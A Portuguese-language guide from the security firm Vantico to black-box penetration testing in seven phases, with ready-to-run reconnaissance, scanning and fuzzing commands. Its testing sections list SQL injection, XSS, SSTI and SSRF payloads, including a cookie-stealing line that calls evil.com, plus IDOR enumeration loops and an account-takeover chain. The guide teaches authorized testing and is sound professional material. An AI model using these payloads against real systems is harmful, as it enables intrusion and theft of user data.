Pentest 
Red Team 
Security Review 
Vantico 
Resumo:
- Um pentest black box segue 7 fases, do pré-engajamento ao relatório final, e o trabalho não é linear. Descobertas em fases avançadas frequentemente exigem retornar ao reconhecimento inicial.
- Antes de qualquer teste, é obrigatório ter autorização escrita, escopo definido, Rules of Engagement (RoE) e contato de emergência. Sem isso, o profissional corre risco legal e o cliente, risco operacional.
- A qualidade do reconhecimento passivo (OSINT) é o que mais diferencia pentesters experientes de iniciantes: boa inteligência de fontes públicas frequentemente leva aos achados mais críticos sem uso de nenhum scanner.
- Vulnerabilidades isoladas de baixa severidade podem formar cadeias de ataque que resultam em comprometimento total, algo que nenhuma ferramenta automatizada detecta sozinha.
Um pentest black box bem conduzido segue uma estrutura metodológica clara, mesmo que o alvo seja completamente desconhecido no início. Da primeira linha de reconhecimento ao último achado documentado, cada fase tem objetivos definidos, ferramentas específicas e critérios de conclusão. Este guia é o roteiro completo: da teoria à execução, com comandos prontos para usar em engajamentos reais.
O que é um pentest blackbox e quando usar
Pentest black box é a modalidade de teste de intrusão onde o profissional parte com o mínimo de informação sobre o alvo: geralmente apenas o domínio ou IP de entrada. Não há credenciais fornecidas, acesso ao código-fonte ou diagrama de arquitetura. O objetivo é simular o que um atacante externo em um cenário real faria.
A escolha entre black box, gray box e white box depende do objetivo do engajamento. Black box é o mais próximo da realidade de um atacante sem privilégios iniciais, mas é também o que exige mais tempo de reconhecimento e pode deixar partes do sistema sem cobertura por falta de visibilidade.
| MODALIDADE | Informação INICIAL | VANTAGEM | QUANDO USAR |
| Black Box | Apenas domínio/IP | Simula atacante externo real | Avaliação de postura externa e/ou primeiro pentest |
| Gray Box | Credenciais básicas + docs | Maior cobertura, mais eficiente | Pentest de aplicação e/ou revisão de código |
| White Box | Acesso completo + código | Cobertura total, mais profundo | Revisão de segurança pré-produção e/ou auditoria |
| Red Team | Apenas objetivo final definido | Simula APT com múltiplos vetores | Avaliação de detecção e resposta a incidentes |
As 7 fases do pentest black box
Um pentest black box estruturado passa por sete fases. Cada uma tem entradas definidas, atividades específicas e um output que alimenta a próxima fase. O trabalho não é linear, pois as descobertas em fases avançadas frequentemente exigem retornar ao reconhecimento.
- Pré-engajamento e escopo
Definir o que pode ser testado, como, quando e o que fazer em caso de incidente.
Ferramentas: Contrato, Rules of Engagement e sistema de comunicação de emergência.
Output: Documento de escopo assinado e RoE definidas.
- Reconhecimento passivo (OSINT)
Coletar informações sobre o alvo sem enviar nenhuma requisição direta. Fontes públicas, DNS, certificados e código público.
Ferramentas: subfinder, Amass, WaybackURLs, Shodan, Github, e Google Dorks.
Output: mapa de subdomains, endpoints, tecnologias e vazamentos.
- Reconhecimento ativo (Scanning)
Enviar requisições para mapear serviços, portas, versões e superfície de ataque real.
Ferramentas: Nmap, HTTPX, Nuclei, ffuf, Nikto, e WhatWeb.
Output: lista de alvos ativos, tecnologias confirmadas, e portas abertas.
- Enumeração e mapeamento
Mapear a aplicação em detalhe: autenticação, funcionalidades, parâmetros, permissões, e fluxos de negócio.
Ferramentas: Burp Suite, ffuf, LinkFinder, e Manual Crawling.
Output: mapa completo de superfícies de ataque da aplicação.
- Identificação de vulnerabilidades
Identificar fraquezas em cada superfície mapeada: injection, autorização, criptografia, e lógica de negócio.
Ferramentas: Burp Scanner, Nuclei, Manual Testing, e OWASP WSTG.
Output: lista de vulnerabilidades candidatas com evidência inicial.
- Exploração e pós-exploração
Confirmar e demonstrar o impacto real de cada vulnerabilidade. Documentar prova de conceito.
Ferramentas: Burp Repeater/Intruder, SQLMAP e scripts customizados.
Output: PoC confirmado, impacto documentado, e cadeia de ataque.
- Relatório e apresentação
Documentar cada achado com severidade, evidência, impacto e recomendação de remediação.
Ferramentas: template de relatório, screenshots e CVSS calculator.
Output: relatório final entregue e reteste agendado.
Fase 1: Pré-engajamento e definição de escopo
A fase mais ignorada e a mais crítica. Sem escopo claro, o pentester não sabe o que pode testar e o cliente não sabe o que foi testado. Um engajamento sem Rules of Engagement (RoE) documentadas coloca o profissional em risco legal e o cliente em risco operacional.
Documentos obrigatórios antes de começar:
- Autorização escrita: documento assinado pelo responsável legal do sistema confirmando escopo, período e permissões.
- Rules of Engagement: lista explícita do que pode e o que não pode ser feito. Ex.: “testes de DoS são proibidos”, “não testar o sistema de pagamento em produção”.
- Escopo de IPs e domínios: lista exata dos hosts autorizados. Tudo que não estiver na lista está fora de escopo.
- Contato de emergência: número de telefone e e-mail do responsável técnico da empresa contratante para comunicar incidentes imediatamente
- Janela de teste: dias e horários autorizados. Testes fora da janela precisam de autorização adicional.
Definindo escopo em blackbox
// Documento de Escopo # Exemplo de escopo documentado para pentest blackbox ESCOPO AUTORIZADO: Domínios: alvo.com, *.alvo.com IPs: 200.100.50.0/24 (apenas IPs identificados como do cliente) Períodos: Segunda a sexta, 09h00 às 18h00 (horário de Brasília) Janelas de impacto alto: apenas fora do horário de pico (antes das 10h) FORA DE ESCOPO: Serviços de terceiros (CDN, processadora de pagamento, provedores de email) Ataques de negação de serviço (DoS/DDoS) Engenharia social contra funcionários Acesso físico a instalações Sistemas de produção de parceiros (ex.: ERP de terceiro integrado) PROCEDIMENTOS DE EMERGÊNCIA: Contato técnico: joao.silva@alvo.com | +55 11 99999-0000 Procedimento: parar imediatamente, notificar, aguardar instruções Sistemas críticos que devem ser reportados em < 1h: - Qualquer comprometimento de dados de usuários em produção - Acesso a ambientes que não estejam no escopo Autorização: Autorizado por: Nome do Responsável Legal Cargo: CTO / CISO Data de início: DD/MM/AAAA Data de término: DD/MM/AAAA
Fase 2: Reconhecimento passivo (OSINT)
O reconhecimento passivo coleta informações sem tocar o alvo diretamente. É a fase que mais diferencia pentesters experientes de iniciantes: boa inteligência de OSINT frequentemente leva diretamente aos achados mais críticos, sem precisar de nenhum scanner.
Clique aqui para saber mais sobre o OSINT.
Enumeração de subdomains e infraestrutura
// Shell # Pipeline completo de subdomain discovery TARGET="alvo.com" # Fontes passivas múltiplas subfinder -d $TARGET -all -silent > subs_subfinder.txt amass enum -passive -d $TARGET -o subs_amass.txt # Certificate Transparency logs curl -s "https://crt.sh/?q=%.$TARGET&output=json" 2>/dev/null | \ python3 -c "import json,sys; [print(e['name_value']) for e in json.load(sys.stdin)]" | \ sort -u > subs_cert.txt # Unificar e deduplicar cat subs_subfinder.txt subs_amass.txt subs_cert.txt | sort -u > all_subs.txt # Identificar hosts ativos e tecnologias cat all_subs.txt | httpx -silent -status-code -title -tech-detect \ -ports 80,443,8080,8443,3000 -o live_hosts.txt echo "[*] Total subdomains: $(wc -l < all_subs.txt)" echo "[*] Hosts ativos: $(wc -l < live_hosts.txt)"
OSINT de pessoas, tecnologias e vazamentos
// Shell # Google Dorks para o alvo site:alvo.com filetype:env OR filetype:config OR filetype:json "secret" site:alvo.com inurl:admin OR inurl:panel OR inurl:login site:alvo.com inurl:swagger OR inurl:api-docs OR inurl:graphql # Buscar credenciais vazadas em repositórios públicos # Via GitHub Search (autenticado) curl -s "https://api.github.com/search/code?q=alvo.com+password&type=code" \ -H "Authorization: token SEU_TOKEN" | python3 -m json.tool # GitLeaks em repositórios públicos da empresa gitleaks detect --source ./repo_clonado/ --report-format json # Shodan para infraestrutura exposta shodan search "hostname:alvo.com" --fields ip_str,port,http.title,os # Verificar dados de registros WHOIS e DNS whois alvo.com | grep -iE "(registrant|admin|tech|name server)" dig alvo.com ANY dig alvo.com MX dig alvo.com TXT | grep -iE "(spf|dmarc|dkim|google|microsoft|aws)" # Wayback Machine para endpoints históricos waybackurls alvo.com | grep -E "\.(php|asp|aspx|jsp|json|env|bak)" | sort -u
Fingerprint de tecnologias via cabeçalhos e respostas
// Shell # Coletar headers e informações de cada host ativo cat live_hosts.txt | cut -d' ' -f1 | while read url; do echo "=== $url ===" curl -s -I "$url" | grep -iE "(server|x-powered|x-generator|set-cookie|via|x-frame)" echo "" done > tech_headers.txt # Ferramentas de fingerprint automatizado whatweb -a 3 alvo.com -v wappalyzer-cli -u https://alvo.com # Identificar WAF (Web Application Firewall) wafw00f https://alvo.com # Identificar CDN (CloudFlare, AWS CloudFront, Fastly...) dig alvo.com | grep -iE "(cloudflare|amazonaws|fastly|akamai)" curl -sI https://alvo.com | grep -iE "(cf-ray|x-amz|x-cache|via)"
Fase 3: Reconhecimento ativo e scanning
O reconhecimento ativo envolve enviar requisições diretamente ao alvo. A partir daqui, os logs do servidor registram a atividade. É importante documentar o horário de início do scanning e manter-se dentro da janela autorizada pelo escopo.
Port scanning e identificação de serviços
// Shell / nmap # Scan inicial rápido: portas mais comuns nmap -sV -sC -p 21,22,23,25,53,80,110,143,443,445,3306,3389,5432,6379,8080,8443 \ --open -oA scan_inicial alvo.com # Scan completo de portas (mais demorado, mais completo) nmap -sV -sC -p- --min-rate 1000 -oA scan_completo alvo.com # UDP scan para serviços críticos nmap -sU -p 53,67,68,69,123,161,162,500,514,1194 alvo.com # Identificar hosts ativos em range de IP (se aplicável ao escopo) nmap -sn 200.100.50.0/24 -oA hosts_ativos # Verificar serviços web em todos os hosts e portas encontrados # Extrair portas abertas do nmap e testar com httpx cat scan_completo.gnmap | grep "open" | grep -oE "[0-9]+/open/tcp" | \ cut -d'/' -f1 | sort -u > open_ports.txt # Output: mapa de serviços expostos com versões
Scanning web automatizado com Nuclei
// Shell / nuclei # Nuclei: scanner baseado em templates para detecção de vulnerabilidades comuns # Mais preciso que scanners genéricos, menos falsos positivos # Scan básico em alvos web identificados nuclei -l live_hosts.txt -o nuclei_achados.txt # Scan com templates específicos de severidade alta e crítica nuclei -l live_hosts.txt -severity critical,high -o nuclei_critical.txt # Templates específicos por categoria nuclei -l live_hosts.txt -tags cve,exposure,misconfiguration -o nuclei_misconfig.txt # CVEs recentes (últimos 30 dias) nuclei -l live_hosts.txt -tags cve -filter-condition "cve_id >= CVE-2024-0001" # Templates de tecnologias identificadas nuclei -u https://alvo.com -tags wordpress,apache,nginx,iis,php -o nuclei_tech.txt # Verificar painel de admin e interfaces de gerenciamento expostos nuclei -u https://alvo.com -tags panel,login -o nuclei_panels.txt
Directory e endpoint fuzzing inicial
// Shell / ffuf # Fuzzing rápido de diretórios para todos os hosts web cat live_hosts.txt | cut -d' ' -f1 | while read url; do echo "[*] Fuzzing: $url" ffuf -u "$url/FUZZ" \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \ -mc 200,201,301,302,401,403 \ -t 40 -p 0.05 \ -o "ffuf_$(echo $url | tr '/:' '_').json" -of json \ -s done # Verificar arquivos sensíveis comuns ffuf -u https://alvo.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \
Fase 4: Enumeração e mapeamento da aplicação
Com a superfície de ataque identificada, a fase de enumeração mapeia a aplicação em detalhe: cada funcionalidade, parâmetro, endpoint, fluxo de autenticação e mecanismo de controle de acesso. Tudo o que a aplicação faz precisa ser entendido antes de testar.
Configurando o Burp Suite para enumeração
// Burp Suite # Configuração inicial do Burp Suite para enumeração # 1. Proxy > Options > Proxy Listeners: 127.0.0.1:8080 # 2. Configurar browser para usar o proxy # 3. Instalar certificado Burp CA no browser # Crawling automático com Burp Spider # Target > Site Map > clicar com botão direito no host > Crawl # Configurar: Max crawl depth: 5, Include subdomains: yes # Crawling manual: navegar toda a aplicação autenticado # 1. Criar conta de teste # 2. Navegar todas as funcionalidades com Proxy interceptando # 3. Verificar Sitemap > árvore de endpoints descobertos # Exportar todos os endpoints para análise # Target > Site Map > clicar no host > Copy URLs in this host # Ou usar extensão Sitemap Extractor # Configurar Burp Scanner para análise passiva # Dashboard > New Scan > Crawl and Audit > adicionar URL base # Opoes: Audit Optimization > Minimize false positives
Mapeando autenticação e fluxos de sessão
// Shell / Burp # O que mapear em relação a autenticação: # 1. Endpoint de login # Método (POST/GET), parâmetros (username/email/password), tokens CSRF # Resposta de sucesso vs falha (diferença de corpo, status code, tempo) # 2. Gerenciamento de sessão # Cookie de sessão: nome, flags (Secure, HttpOnly, SameSite), domínio, path curl -c cookies.txt -d "username=teste&password=teste" https://alvo.com/login curl -I -b cookies.txt https://alvo.com/dashboard | grep "Set-Cookie" # Verificar flags do cookie curl -sI -b cookies.txt https://alvo.com/dashboard | grep -i "set-cookie" # Desejável: HttpOnly; Secure; SameSite=Strict # 3. Tokens de autenticação # JWT: decodificar e analisar (ver artigo JWT desta série) # API Key: localizar no header, query param ou body # 4. Fluxos de recuperação de senha, magic link, OAuth # Cada um desses tem seu próprio conjunto de testes # (ver artigos específicos desta série) # 5. Multi-fator (MFA/2FA) # OTP via app, SMS, email # Verificar brute force do OTP, bypass via response manipulation
Enumerando endpoints de API e funcionalidades
// Shell # Construir wordlist customizada para o alvo # Combinar: waybackurls + linkfinder no JS + wordlists genéricas waybackurls alvo.com | grep -oE "(/[a-zA-Z0-9/_-]+)" | sort -u > wordlist_hist.txt getJS --url https://alvo.com --complete | \ xargs -I {} python3 linkfinder.py -i {} -o cli 2>/dev/null | sort -u > wordlist_js.txt cat wordlist_hist.txt wordlist_js.txt \ /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt | \ sort -u > wordlist_custom.txt # Fuzzing de API com autenticação ffuf -u https://alvo.com/api/FUZZ \ -w wordlist_custom.txt \ -H "Authorization: Bearer TOKEN_DE_TESTE" \ -mc all -fc 404 -o api_endpoints.json # Mapear parâmetros de cada endpoint # Para cada endpoint encontrado, usar Arjun para descobrir parâmetros arjun -u https://alvo.com/api/users -m GET -o users_params.json arjun -u https://alvo.com/api/users -m POST -o users_post_params.json
Fase 5: Identificação de vulnerabilidades
Com o mapa completo da aplicação, inicia-se o teste sistemático de cada categoria de vulnerabilidade. A abordagem é seguir o OWASP Web Security Testing Guide como referência, adaptando para o que foi encontrado na enumeração. Não teste tudo aleatoriamente, teste sistematicamente com base no que existe.
OWASP Top 10: o roteiro mínimo
| Categoria | TESTES ESSENCIAIS |
| A01: Broken Access Control | IDOR em IDs, acesso a funções de admin sem privilégio, e bypass de autorização por método HTTP |
| A02: Cryptographic Failures | HTTPS ausente, dados sensíveis em texto claro, tokens previsíveis, e hashes sem salt |
| A03: Injection | SQLi, XSS, SSTI, Command Injection, XXE, e LDAP Injection em todos os inputs |
| A04: Insecure Design | Lógica de negócio exposta, fluxos de pagamento manipuláveis, e limites contornáveis |
| A05: Security Misconfiguration | Headers de segurança ausentes, diretórios expostos, debug em produção, e defaults não alterados |
| A06: Vulnerable Components | Versões desatualizadas no servidor, bibliotecas JS vulneráveis, e CVEs em frameworks |
| A07: Auth Failures | Brute force, sessão não invalida no logout, tokens sem expiração, e bypass de MFA |
| A08: Data Integrity Failures | CI/CD sem assinatura, deserialização insegura, e updates sem verificação de integridade |
| A09: Logging Failures | Ausência de logs de autenticação, tokens em logs, e falta de alertas de anomalia |
| A10: SSRF | Parâmetros de URL enviados ao servidor, webhooks, importação por link, preview de URL |
Testando Broken Access Control (IDOR e escalada)
// HTTP / Shell # IDOR: substituição de IDs em parâmetros # Criar duas contas: userA (atacante) e userB (vítima) # Autenticar como userA, capturar requisição com ID do usuário GET /api/users/123/profile Authorization: Bearer TOKEN_USER_A # Substituir pelo ID do userB GET /api/users/456/profile Authorization: Bearer TOKEN_USER_A # Se retornar dados do userB: IDOR confirmado # Iterar IDs para enumerar usuários for id in {1..200}; do status=$(curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer TOKEN_USER_A" \ "https://alvo.com/api/users/$id/profile") [ "$status" = "200" ] && echo "ID válido: $id" done # Escalada de privilégio via parâmetros de role # Interceptar requisições de atualização de perfil e adicionar campos PATCH /api/users/123/profile {"name": "Teste", "role": "admin", "isAdmin": true} # Teste de acesso a rotas administrativas curl -H "Authorization: Bearer TOKEN_USER_COMUM" \ https://alvo.com/admin/users curl -H "Authorization: Bearer TOKEN_USER_COMUM" \ https://alvo.com/api/admin/dashboard # Bypass por método HTTP # Se GET /admin/users retornar 403: POST /admin/users HTTP/1.1 X-HTTP-Method-Override: GET # Bypass por header X-Original-URL GET / HTTP/1.1 X-Original-URL: /admin/users
Testando Injection em todos os inputs
// Shell / HTTP # SQL Injection: testar cada parâmetro que vai ao banco # Payload inicial: verificar erro ou comportamento diferente # Boolean-based https://alvo.com/produto?id=1' AND 1=1-- # deve retornar resultado normal https://alvo.com/produto?id=1' AND 1=2-- # deve retornar vazio # Error-based (verificar se stack trace aparece) https://alvo.com/produto?id=1' https://alvo.com/produto?id=1" https://alvo.com/produto?id=1 # Automatizar com sqlmap (com permissão explícita no escopo) sqlmap -u "https://alvo.com/produto?id=1" --batch --dbs --level 2 # XSS: testar em todos os campos que refletem input # Reflected XSS https://alvo.com/busca?q=<script>alert(document.domain)</script> https://alvo.com/busca?q="><svg onload=alert(1)> # Stored XSS (em campos que persistem dados) # Usar em campos de nome, bio, comentário, etc. <img src=x onerror=fetch('https://evil.com/?c='+document.cookie)> # Server-Side Template Injection (SSTI) https://alvo.com/email?name={{7*7}} # Twig/Jinja: esperar 49 https://alvo.com/email?name={{7*'7'}} # Jinja2: 7777777 https://alvo.com/email?name=49 # FreeMarker/EL: 49 # SSRF curl -X POST https://alvo.com/webhook \ -d "url=http://169.254.169.254/latest/meta-data/"
Testando configurações de segurança
// Shell / HTTP # Headers de segurança: verificar presença e configuração curl -sI https://alvo.com | grep -iE "(strict-transport|x-frame|x-content|content-security|referrer-policy|permissions-policy)" # Headers críticos e valores esperados: # Strict-Transport-Security: max-age=31536000; includeSubDomains; preload # X-Frame-Options: DENY ou SAMEORIGIN # X-Content-Type-Options: nosniff # Content-Security-Policy: default-src 'self'; ... (restritivo) # Referrer-Policy: strict-origin-when-cross-origin # Permissions-Policy: geolocation=(), microphone=(), camera=() # Cookies de sessão: verificar flags curl -sI https://alvo.com/login | grep -i "set-cookie" # Desejável: HttpOnly; Secure; SameSite=Strict # Testar informações expostas no servidor curl -sI https://alvo.com | grep -iE "(server|x-powered-by|x-aspnet)" # Server: Apache/2.4.51 -> revela versão (CVE busca) # Verificar CORS mal configurado curl -H "Origin: https://evil.com" -I https://alvo.com/api/users \ | grep -i "access-control-allow-origin" # Access-Control-Allow-Origin: * ou https://evil.com -> CORS mal configurado # Clickjacking via iframe # Criar HTML local com <iframe src="https://alvo.com"> # Se a página carregar: X-Frame-Options ausente # Testar Verb Tampering em métodos HTTP curl -X TRACE https://alvo.com curl -X OPTIONS https://alvo.com -I | grep "Allow" curl -X DELETE https://alvo.com/api/users/1 -H "Authorization: Bearer TOKEN"
Fase 6: Exploração e documentação de impacto
Identificar uma vulnerabilidade não é suficiente para um relatório de qualidade. É necessário demonstrar o impacto real: o que um atacante conseguiria fazer ao explorar essa falha? Apropriar-se da conta? Exfiltração de dados? RCE? A prova de conceito precisa ser documentada com capturas de tela e requests completos.
Documentando uma vulnerabilidade corretamente
// Template de Relatório # Template de documentação de achado: # TÍTULO: Insecure Direct Object Reference (IDOR) em endpoint de perfil # Descrição: # O endpoint GET /api/users/{id}/profile retorna dados completos do usuário # sem verificar se o token de autenticação pertence ao mesmo usuário do {id}. # Qualquer usuário autenticado pode acessar dados de qualquer outro usuário. # REPRODUÇÃO: # Pré-requisito: duas contas válidas (userA id=123, userB id=456) # Passo 1: Autenticar como userA # POST /api/auth/login {"email":"usera@test.com","password":"Teste@123"} # Response: {"token":"eyJhbGc..."} # # Passo 2: Acessar perfil do userB usando token do userA # GET /api/users/456/profile # Authorization: Bearer eyJhbGc... # # Passo 3: Observar resposta com dados do userB # Evidência: # [Screenshot da requisição com token do userA] # [Screenshot da resposta com dados do userB] # IMPACTO: # Exposição de dados de todos os usuários da plataforma incluindo: # nome completo, email, CPF (se coletado), Histórico de transações # Um atacante pode enumerar todos os IDs de 1 a N e exfiltrar todos os dados # CVSS v3.1: # AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 (Alto) # REMEDIAÇÃO: # Verificar no endpoint que o usuário autenticado no token (claims do JWT) # corresponde ao {id} solicitado, ou que possui permissão administrativa.
Calculando CVSS e priorizando achados
| MÉTRICA CVSS | Opções | IMPACTO NA SEVERIDADE |
| Attack Vector (AV) | N, A, L, P | Network (N) sobe muito. Physical (P) desce muito. |
| Attack Complexity (AC) | L, H | Low: mais severo. High: requer condições especiais. |
| Privileges Required (PR) | N, L, H | None: mais severo. High: requer admin, menos severo. |
| User Interaction (UI) | N, R | None: mais severo. Required: phishing seria necessário, menos severo. |
| Scope (S) | U, C | Changed: impacta além do componente vulnerável. Sobe muito. |
| Confidentiality (C) | N, L, H | High: dados críticos expostos. Maior peso no score final. |
| Integrity (I) | N, L, H | High: dados podem ser alterados com impacto total. |
| Availability (A) | N, L, H | High: sistema pode ser tornado indisponível. |
Cadeias de ataque: combinando vulnerabilidades
Achados isolados nem sempre revelam o impacto real. Uma cadeia de ataque que combina vulnerabilidades menores pode resultar em comprometimento total. Documentar essas cadeias aumenta drasticamente o valor do relatório:
// Documentação de achado # Exemplo de cadeia de ataque documentada: # CADEIA: Low + Low + Medium = Crítico (Account Takeover Total) # Vulnerabilidade 1 (Low): Enumeração de usuários via timing attack # GET /api/users?email=admin@empresa.com -> 120ms (usuário existe) # GET /api/users?email=xyz@email.com -> 20ms (usuário não existe) # -> Confirmar que admin@empresa.com existe no sistema # Vulnerabilidade 2 (Medium): Reset de senha sem rate limit # O endpoint POST /auth/reset-password não limita tentativas # -> Brute force de token de reset (se curto) é viável # Vulnerabilidade 3 (Low): Token de reset previsível (UUID v1) # Os tokens de reset são UUID v1 (baseados em timestamp) # -> Prever token do próximo reset usando tokens coletados anteriormente # CADEIA COMPLETA: # 1. Confirmar email do admin via timing attack # 2. Solicitar reset de senha para admin@empresa.com # 3. Prever o token de reset usando o timestamp # 4. Usar o token para resetar a senha do admin # 5. Autenticar como admin # RESULTADO: Account Takeover Total sem interação do usuário alvo # CVSS individual: 3.7 + 5.3 + 3.7 = média 4.2 (Médio) # CVSS da cadeia: 9.8 (Crítico - AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Fase 7: Relatório técnico e executivo
O relatório é o produto final do pentest. Um engajamento tecnicamente excelente com um relatório ruim tem o mesmo efeito de nenhum engajamento. Ou seja, o relatório precisa ser acionável, o desenvolvedor precisa entender o que está errado, como reproduzir e o que corrigir.
Estrutura do relatório de pentest
- Sumário executivo (1 página): linguagem de negócio, sem tecnicalidades, foco no risco e impacto. Para o C-level.
- Escopo e metodologia: o que foi testado, como, quando e quais ferramentas. Rastreabilidade legal.
- Resumo de achados: tabela com todos os achados, severidade e status. Visão geral para o gestor técnico.
- Achados detalhados (1 página por achado): descrição, reprodução, evidência, impacto, CVSS, e remediação específica.
- Recomendações estratégicas: melhorias sistêmicas, não apenas correções pontuais. SDL, WAF, e monitoramento.
- Apêndices: ferramentas usadas, referências, hashes das evidências.
Escrevendo um achado de qualidade
// Template de achado # Estrutura de um achado bem escrito: TÍTULO: claro e específico INCORRETO: "SQL Injection" CORRETO: "SQL Injection no parâmetro 'id' do endpoint /api/produto permite exfiltração do banco de dados de usuários" Descrição: 3 a 5 linhas explicando a vulnerabilidade em linguagem técnica - O que é a vulnerabilidade (definição) - Onde foi encontrada (endpoint, parâmetro) - Por que é um problema (o que possibilita) PASSOS DE REPRODUÇÃO: numerados, cada passo com request HTTP ou comando
-
Autenticar como usuário comum -
Enviar a seguinte requisição:
GET /api/produto?id=1' OR 1=1-- HTTP/1.1 Host: alvo.com Authorization: Bearer TOKEN
-
Observar a resposta: retorna todos os registros do banco
Evidência: screenshot ou request/response capturado pelo Burp [Screenshot mostrando a query retornando dados de todos os usuários] IMPACTO: em linguagem de negócio + linguagem técnica Negócio: "Exposição de dados pessoais de todos os usuários, risco de multa LGPD, dano reputacional" Técnico: "Exfiltração completa do banco users via UNION-based SQLi. Campos expostos: id, email, password_hash, cpf" CVSS v3.1: vetor completo + score numérico AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 (Alto) REMEDIAÇÃO: específica, não genérica INCORRETO: "Usar prepared statements" CORRETO: "No arquivo UserController.php, linha 142, substituir: $query = 'SELECT * FROM users WHERE id = ' . $id por: $stmt = $pdo->prepare('SELECT * FROM users WHERE id = ?'); $stmt->execute([$id]);"
Arsenal de ferramentas por fase
| FASE | FERRAMENTAS PRINCIPAIS | Função |
| reconhecimentoPassivo | subfinder, amass, gau, waybackurls | Subdomains, Histórico e OSINT de infraestrutura |
| reconhecimentoPassivo | shodan, censys, crt.sh | Serviços expostos, certificados e IPs da organização |
| reconhecimentoPassivo | gitleaks, trufflehog | Segredos em repositórios públicos |
| reconhecimentoAtivo | nmap, masscan | Port scan e service fingerprinting |
| reconhecimentoAtivo | nuclei | Scanner baseado em templates, CVEs e misconfigurations |
| reconhecimentoAtivo | httpx, whatweb, wafw00f | Probe de hosts web, fingerprint de tech e WAF |
| Enumeração | Burp Suite Pro | Proxy, scanner, repeater, intruder e collaborator |
| Enumeração | ffuf, feroxbuster, dirsearch | Fuzzing de diretórios e endpoints |
| Enumeração | arjun, param-miner | Descoberta de parâmetros escondidos |
| Vulnerabilidades | Burp Scanner, ZAP | Identificação automática de vulnerabilidades web |
| Vulnerabilidades | sqlmap | Identificação e exploração de SQL injection |
| Vulnerabilidades | jwt_tool, hashcat | Testes de JWT e brute force de credenciais |
| Pós-exploração | curl, python3 requests | PoC manual e encadeamento de ataques |
| Relatório | Dradis, Faraday, PlexTrac | Gerenciamento de achados e geração de relatório |
Checklist master de pentest blackbox
Pré-engajamento
- Autorização escrita obtida e assinada pelo responsável legal.
- Escopo documentado: domínios, IPs, sistemas fora de escopo.
- Rules of Engagement definidas e aceitas por ambas as partes.
- Contato de emergência definido com número de telefone funcional.
- Janela de teste confirmada com o cliente.
Reconhecimento passivo
- Subdomains coletados: subfinder + amass + crt.sh.
- Shodan e Censys consultados para o ASN/org do alvo.
- Google Dorks executados para arquivos sensíveis e painéis admin.
- Repositórios GitHub públicos buscados por credenciais.
- WaybackURLs e gau executados para endpoints históricos.
- Tecnologias preliminares identificadas via DNS e headers HTTP.
Reconhecimento ativo
- Nmap executado: portas comuns + full scan se autorizado.
- Hosts web ativos identificados com HTTPX.
- Nuclei executado para misconfigurations e CVEs.
- Fingerprint de tecnologias confirmado (versões, frameworks).
- WAF identificado e caracterizado.
- Directory fuzzing inicial executado nos hosts principais.
Enumeração da aplicação
- Fluxo de autenticação completamente mapeado.
- Cookies verificados de sessão (flags, domínio, expiração).
- Todos os endpoints de API descobertos e documentados.
- Parâmetros de cada endpoint mapeados via Arjun/param-miner.
- Funcionalidades de cada papel de usuário testadas.
- Headers de segurança verificados em todas as respostas.
Identificação e exploração
- OWASP Top 10 verificado sistematicamente em todos os endpoints.
- IDOR testado em todos os endpoints com IDs de recursos.
- Injeção testada em todos os parâmetros (SQLi, XSS, SSTI, SSRF).
- Autenticação e sessão testadas (brute force, logout, expiração, etc.).
- Lógica de negócio analisada para bypasses e manipulação de fluxo.
- Cada achado documentado com PoC completo antes de seguir.
Relatório
- Sumário executivo escrito em linguagem de negócio.
- Cada achado tem título, descrição, passos de reprodução, evidência, CVSS e remediação.
- Cadeias de ataque documentadas, onde aplicável.
- Recomendações estratégicas incluídas (não apenas patches pontuais).
- Relatório revisado por outro profissional antes da entrega.
- Reteste agendado para validar as correções implementadas.
Pentest black box é uma disciplina com fases sequenciais, ferramentas específicas e critérios de qualidade para cada etapa. A diferença entre um relatório que gera mudança e um que fica numa gaveta é a qualidade: impacto real demonstrado, passos claros de reprodução e recomendações que o time de desenvolvimento consegue implementar.
O OWASP Testing Guide e o CVSS são as referências de base, mas o verdadeiro valor de um pentester experiente está nos padrões que nenhuma ferramenta automática encontra: lógica de negócio exposta, cadeias de vulnerabilidades menores que combinadas resultam em comprometimento total, e falhas arquiteturais que nenhum scanner detecta.
Para quem está começando: siga as fases nesta ordem, documente tudo em tempo real, não apenas no final, e trate cada achado como uma narrativa completa.
Para quem já tem experiência: use este guia como um checklist de revisão antes de entregar cada relatório. O que está faltando no seu template atual é provavelmente o que vai fazer diferença no próximo engajamento.
A metodologia descrita neste guia é a base que a Vantico aplica em cada engajamento de pentest.
A plataforma Vantico integra o pipeline de teste com o ciclo de sprint, garantindo que novos endpoints sejam testados, novas dependências sejam verificadas e cadeias de ataque que antes precisavam de acesso ao ambiente de produção agora sejam identificadas antes do merge.
Conheça outros artigos técnicos da Vantico clicando aqui.
Siga a Vantico nas redes sociais e fique informado sobre tecnologia e insights da área.
